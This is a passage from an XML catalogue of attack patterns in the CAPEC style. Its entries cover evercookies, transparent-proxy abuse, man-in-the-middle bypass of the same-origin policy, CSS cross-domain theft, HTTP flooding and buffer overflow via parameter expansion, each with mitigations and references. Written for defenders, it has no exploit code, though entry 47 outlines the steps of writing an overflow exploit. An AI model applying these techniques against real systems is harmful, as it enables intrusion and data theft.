					<Relationship_Target_ID>116<!--Data Excavation Attack--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>Requires</Relationship_Nature>
					<Relationship_Target_ID>97<!--Cryptoanalysis--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Juliano Rizzo</Reference_Author>
					<Reference_Author>Thai Duong</Reference_Author>
					<Reference_Title>Practical Padding Oracle Attacks</Reference_Title>
					<Reference_Publisher>http://usenix.org/events/woot10/tech/full_papers/Rizzo.pdf</Reference_Publisher>
					<Reference_PubDate>2010-05-25</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="464" Name="Evercookie" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker creates a very persistent cookie that is then sent by the
						server to the victim's browser when the victim visits a website. The cookie
						is stored on the victim's machine in over ten places to include: Standard
						HTTP Cookies, Local Shared Objects (Flash Cookies), Silverlight Isolated
						Storage, Storing cookies in RGB values of auto-generated, force-cached, PNGs
						using HTML5 Canvas tag to read pixels (cookies) back out, Storing cookies in
						Web History, Storing cookies in HTTP ETags, Storing cookies in Web cache,
						window.name caching, Internet Explorer userData storage, HTML5 Session
						Storage, HTML5 Local Storage, HTML5 Global Storage, HTML5 Database Storage
						via SQLite, among others.</Text>
					<Text>When the victim clears the cookie cache via traditional means inside the
						browser, that operation removes the cookie from certain places but not
						others. The malicious code then replicates the cookie from all of the places
						where it was not deleted to all of the possible storage locations once
						again. So the victim again has the cookie in all of the original storage
						locations. In other words, failure to delete the cookie in even one location
						will result in the cookie's resurrection everywhere. The evercookie will
						also persist across different browsers because certain stores (e.g., Local
						Shared Objects) are shared between different browsers. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim's browser is not configured to reject all cookies</Text>
					<Text>The victim visits a website that serves the attacker's evercookie</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Evercookie source code</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Browser's design needs to be changed to limit where cookies can be
						stored on the client side and provide an option to clear these cookies in
						all places, as well as another option to stop these cookies from being
						written in the first place. </Text>
					<Text>Design: Safari browser's private browsing mode is currently effective
						against evercookies.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>359<!--Privacy Violation--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>118<!--Data Leakage Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Samy Kamkar</Reference_Author>
					<Reference_Title>Evercookie</Reference_Title>
					<Reference_Publisher>http://samy.pl/evercookie/</Reference_Publisher>
					<Reference_PubDate>2010-09-20</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="465"
			Name="Socket Capable Browser Plugins Result In Transparent Proxy Abuse"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>A transparent proxy serves as an intermediate between the client and the
						internet at large. It intercepts all requests originating from the client
						and forwards them to the correct location. The proxy also intercepts all
						responses to the client and forwards these to the client. All of this is
						done in a manner transparent to the client. Transparent proxies are often
						used by enterprises and ISPs.</Text>
					<Text>For requests originating at the client transparent proxies need to figure
						out the final destination of the client's data packet. Two ways are
						available to do that: either by looking at the layer three (network) IP
						address or by examining layer seven (application) HTTP header
						destination.</Text>
					<Text>A browser has single origin policy that typically prevents scripts coming
						from one domain initiating requests to other websites from which they did
						not come. To circumvent that, however, malicious Flash or an Applet that is
						executing in the user's browser can attempt to create a cross-domain socket
						connection from the client to the remote domain. The transparent proxy will
						examine the HTTP header of the request and direct it to the remote site
						thereby partially bypassing the browser's single origin policy. This can
						happen if the transparent proxy uses the HTTP host header information for
						addressing rather than the IP address information at the network layer. This
						attack allows malicious scripts inside the victim's browser to issue
						cross-domain requests to any hosts accessible to the transparent proxy.
					</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Transparent proxy is used</Text>
					<Text>Vulnerable configuration of network topology involving the transparent
						proxy (e.g., no NAT happening between the client and the proxy)</Text>
					<Text>Execution of malicious Flash or Applet in the victim's browser</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Creating malicious Flash or Applet to open a cross-domain socket
							connection to a remote system</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Ensure that the transparent proxy uses an actual network layer IP
						address for routing requests. On the transparent proxy, disable the use of
						routing based on address information in the HTTP host header. </Text>
					<Text>Configuration: Disable in the browser the execution of Java Script, Flash,
						SilverLight, etc. </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>441<!--Unintended Proxy/Intermediary--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Robert Auger</Reference_Author>
					<Reference_Title>Socket Capable Browser Plugins Result In Transparent Proxy
						Abuse</Reference_Title>
					<Reference_Publisher>http://www.thesecuritypractice.com/the_security_practice/TransparentProxyAbuse.pdf</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="466"
			Name="Leveraging Active Man in the Middle Attacks to Bypass Single Origin Policy"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker leverages a man in the middle attack in order to bypass the
						single origin policy protection in the victim's browser. This active man in
						the middle attack could be launched, for instance, when the victim is
						connected to a public WIFI hot spot. An attacker is able to intercept
						requests and responses between the victim's browser and some non-sensitive
						website that does not use TLS. For instance, the victim may be checking
						flight or weather information. </Text>
					<Text>When an attacker intercepts a response bound to the victim, an attacker
						adds an iFrame (which is possibly invisible) to the response referencing
						some domain with sensitive functionality and forwards the response to the
						victim. The victim's browser than automatically initiates an unauthorized
						request to the site with sensitive functionality. The single origin policy
						would prevent making these requests to a site other than the one from which
						the Java Script came, but the attacker once again uses active man in the
						middle to intercept these automatic requests and redirect them to the domain
						/ service with sensitive funcitonality. Any persistent cookies that the
						victim has in his or her browser would be used for these unauthorized
						requests. The attacker thus actively directs the victim to a site with
						sensitive functionality.</Text>
					<Text>When the site with sensitive functionality responds back to the victim's
						request, an active man in the middle attacker intercepts these responses,
						injects his or her own malicious Java Script into these responses, and
						forwards to the victim's browser. In the victim's browser, that Java Script
						executes under the restrictions of the site with sensitive functionality and
						can essentially be used to continue to interact with the sensitive site. So
						an attacker can execute scripts within the victim's browser on any domains
						the attacker desires.</Text>
					<Text>The attacker is able to use this technique to steal cookies from the
						victim's browser for whatever site the attacker wants. This applies to both
						persistent cookies and HTTP only cookies (unlike traditional XSS
						attacks).</Text>
					<Text>An attacker is also able to use this technique to steal authentication
						credentials for sites that only encrypt the login form, but do not require a
						secure channel for the initial request to get to the page with the login
						form. Further the attacker is also able to steal any autocompletion
						information. This attack pattern can also be used to enable session fixation
						and cache poisoning attacks. Additional attacks can be enabled as well.
					</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim and the attacker are both in an environment where an active man
						in the middle attack is possible (e.g., public WIFI hot spot)</Text>
					<Text>The victim visits at least one website that does not use TLS / SSL</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Ability to intercept and modify requests / responses</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Ability to create iFrame and JavaScript code that would initiate
							unauthorized requests to sensitive sites from the victim's
							browser</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Solid understanding of the HTTP protocol</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Tunnel communications through a secure proxy</Text>
					<Text>Design: Trust level separation for privileged / non privileged
						interactions (e.g., two different browsers, two different users, two
						different operating systems, two different virtual machines)</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>300<!--Channel Accessible by Non-Endpoint ('Man-in-the-Middle')--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>94<!--Man in the Middle Attack--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Adi Sharabani</Reference_Author>
					<Reference_Title>Active Man in the Middle Attacks</Reference_Title>
					<Reference_Publisher>http://blog.watchfire.com/wfblog/2009/02/active-man-in-the-middle-attacks.html</Reference_Publisher>
					<Reference_PubDate>2009-02-27</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="467" Name="Cross Site Identification" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text> An attacker harvests identifying information about a victim via an active
						session that the victim's browser has with a social networking site. A
						victim may have the social networking site open in one tab or perhaps is
						simply using the "remember me" feature to keep his or her session with the
						social networking site active. An attacker induces a payload to execute in
						the victim's browser that transparently to the victim initiates a request to
						the social networking site (e.g., via available social network site APIs) to
						retrieve identifying information about a victim. While some of this
						information may be public, the attacker is able to harvest this information
						in context and may use it for further attacks on the user (e.g., spear
						phishing).</Text>
					<Text>In one example of an attack, an attacker may post a malicious posting that
						contains an image with an embedded link. The link actually requests
						identifying information from the social networking site. A victim who views
						the malicious posting in his or her browser will have sent idenditifying
						information to the attacker, as long as the victim had an active session
						with the social networking site. There are many other ways in which the
						attacker may get the payload to execute in the victim's browser mainly by
						finding a way to hide it in some reputable site that the victim visits. The
						attacker could also send the link to the victim in an e-mail and trick the
						victim into clicking on the link.</Text>
					<Text>This attack is basically a cross site request forgery attack with two main
						differences. First, there is no action that is performed on behalf of the
						user aside from harvesting information. So standard CSRF protection may not
						work in this situation. Second, what is important in this attack pattern is
						the nature of the data being harvested, which is identifying information
						that can be obtained and used in context. This real time harvesting of
						identifying information can be used as a prelude for launching real time
						targetted social engineering attacks on the victim. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim has an active session with the social networking site.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker should be able to create a payload and deliver it to the
							victim's browser.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker needs to know how to interact with various social
							networking sites (e.g., via available APIs) to request information and
							how to send the harvested data back to the attacker.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Usage: Users should always explicitly log out from the social networking
						sites when done using them.</Text>
					<Text>Usage: Users should not open other tabs in the browser when using a social
						networking site.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>352<!--Cross Site Request Forgery--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>359<!--Privacy Violation--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>62<!--Cross Site Request Forgery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>408<!--Information Gathering from Traditional Sources--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Ronen</Reference_Author>
					<Reference_Title>Cross Site Identification</Reference_Title>
					<Reference_Publisher>http://blog.quaji.com/2009/12/out-of-context-information-disclosure.html</Reference_Publisher>
					<Reference_PubDate>2009-12-27</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="468" Name="Generic Cross-Browser Cross-Domain Theft"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text> An attacker makes use of Cascading Style Sheets (CSS) injection to steal
						data cross domain from the victim's browser. The attack works by abusing the
						standards relating to loading of CSS: 1. Send cookies on any load of CSS
						(including cross-domain) 2. When parsing returned CSS ignore all data that
						does not make sense before a valid CSS descriptor is found by the CSS
						parser</Text>
					<Text>By having control of some text in the victim's domain, the attacker is
						able to inject a seemingly valid CSS string. It does not matter if this CSS
						string is preceeded by other data. The CSS parser will still locate the CSS
						string. </Text>
					<Text>If the attacker is able to control two injection points, one before the
						cross domain data that the attacker is interested in receiving and the other
						one after, the attacker can use this attack to steal all of the data in
						between these two CSS injection points when referencing the injected CSS
						while performing rendering on the site that the attacker controls. When
						rendering, the CSS parser will detect the valid CSS string to parse and
						ignore the data that "does not make sense". That data will simply be
						rendered. That data is in fact the data that the attacker just stole cross
						domain.</Text>
					<Text>The stolen data may contain sensitive information, such CSRF protection
						tokens. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>No new lines can be present in the injected CSS string</Text>
					<Text>Proper HTML or URL escaping of the " and ' characters is not
						present</Text>
					<Text>The attacker has control of two injection points: pre-string and
						post-string</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Ability to craft a CSS injection</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Attacker controlled site / page to render a page referencing the injected CSS
					string</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Prior to performing CSS parsing, require the CSS to start with
						well-formed CSS when it is a cross-domain load and the MIME type is broken.
						This is a browser level fix.</Text>
					<Text>Implementation: Perform proper HTML encoding and URL escaping</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>149<!--Improper Neutralization of Quoting Syntax--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>177<!--Improper Handling of URL Encoding (Hex Encoding)--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>838<!--Inappropriate Encoding for Output Context--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>116<!--Data Excavation Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>241<!--Code Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Chris Evans</Reference_Author>
					<Reference_Title>Generic cross-browser cross-domain theft</Reference_Title>
					<Reference_Publisher>http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html</Reference_Publisher>
					<Reference_PubDate>2009-12-28</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="469" Name="HTTP DoS" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker performs flooding at the HTTP level to bring down only a
						particular web application rather than anything listening on a TCP/IP
						connection. This denial of service attack requires substantially fewer
						packets to be sent which makes DoS harder to detect. This is an equivalent
						of SYN flood in HTTP.</Text>
					<Text>The idea is to keep the HTTP session alive indefinitely and then repeat
						that hundreds of times. This attack targets resource depletion weaknesses in
						web server software. The web server will wait to attacker's responses on the
						initiated HTTP sessions while the connection threads are being
						exhausted.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>HTTP protocol is used</Text>
					<Text>Web server used is vulnerable to denial of service via HTTP
						flooding</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Ability to issues hundreds of HTTP requests</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: Configure web server software to limit the waiding period
						on opened HTTP sessions </Text>
					<Text>Design: Use load balancing mechanisms</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>772<!--Missing Release of Resource after Effective Lifetime--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>125<!--Resource Depletion through Flooding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>130<!--Resource Depletion through Allocation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Robert Hansen</Reference_Author>
					<Reference_Title>Slowris HTTP DoS</Reference_Title>
					<Reference_Publisher>http://ha.ckers.org/blog/20090617/slowloris-http-dos/</Reference_Publisher>
					<Reference_PubDate>2009-06-17</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="47" Name="Buffer Overflow via Parameter Expansion"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In this attack, the target software is given input that the attacker knows
						will be modified and expanded in size during processing. This attack relies
						on the target software failing to anticipate that the expanded data may
						exceed some internal limit, thereby creating a buffer overflow.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Consider parts of the program where user supplied
												data may be expanded by the program. Use a
												disassembler and other reverse engineering tools to
												guide the search. </Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Find a place where a buffer overflow occurs due to
												the fact that the new expanded size of the string is
												not correctly accounted for by the program. This may
												happen perhaps when the string is copied to another
												buffer that is big enough to hold the original, but
												not the expanded string. This may create an
												opportunity for planting the payload and redirecting
												program execution to the shellcode.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Write the buffer overflow exploit. To be
												exploitable, the "spill over" amount (e.g. the
												difference between the expanded string length and
												the original string length before it was expanded)
												needs to be sufficient to allow the overflow of the
												stack return pointer (in the case of a stack
												overflow), without causing a stack corruption that
												would crash the program before it gets to execute
												the shellcode. Heap overflow will be more difficult
												and will require the attacker to get more lucky, by
												perhaps getting a chance to overwrite some of the
												accounting information stored as part of using
												malloc().</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The program expands one of the parameters passed to a function with input
						controlled by the user, but a later function making use of the expanded
						parameter erroneously considers the original, not the expanded size of the
						parameter.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The expanded parameter is used in the context where buffer overflow may
						becomes possible due to the incorrect understanding of the parameter size
						(i.e. thinking that it is smaller than it really is).</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attack Example: FTP glob()</Text>
						<Text>The glob() function in FTP servers has been susceptible to attack as a
							result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap
							Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow
							condition. The overflow occurs when the LIST command is issued with an
							argument that expands into an oversized string after being processed by
							glob().</Text>
						<Text>This buffer overflow occurs in memory that is dynamically allocated.
							It may be possible for attackers to exploit this vulnerability and
							execute arbitrary code on the affected host.</Text>
						<Text>To exploit this, the attacker must be able to create directories on
							the target host.</Text>
						<Text>The glob() function is used to expand short-hand notation into
							complete file names. By sending to the FTP server a request containing a
							tilde (~) and other wildcard characters in the pathname string, a remote
							attacker can overflow a buffer and execute arbitrary code on the FTP
							server to gain root privileges. Once the request is processed, the
							glob() function expands the user input, which could exceed the expected
							length. In order to exploit this vulnerability, the attacker must be
							able to create directories on the FTP server.</Text>
						<Text>From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2001-0249</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Buffer overflow in the glob implementation in libc in NetBSD-current
							before 20050914, and NetBSD 2.* and 3.* before 20061203, as used by the
							FTP daemon, allows remote authenticated users to execute arbitrary code
							via a long pathname that results from path expansion.</Text>
						<Text>The limit computation of an internal buffer was done incorrectly. The
							size of the buffer in byte was used as element count, even though the
							elements of the buffer are 2 bytes long. Long expanded path names would
							therefore overflow the buffer.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-6652</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Finding this particular buffer overflow may not be trivial. Also,
							stack and especially heap based buffer overflows require a lot of
							knowledge if the intended goal is aribtrary code execution. Not only
							that the attacker needs to write the shell code to accomplish his or her
							goals, but the attacker also needs to find a way to get the program
							execution to jump to the planted shellcode. There also needs to be
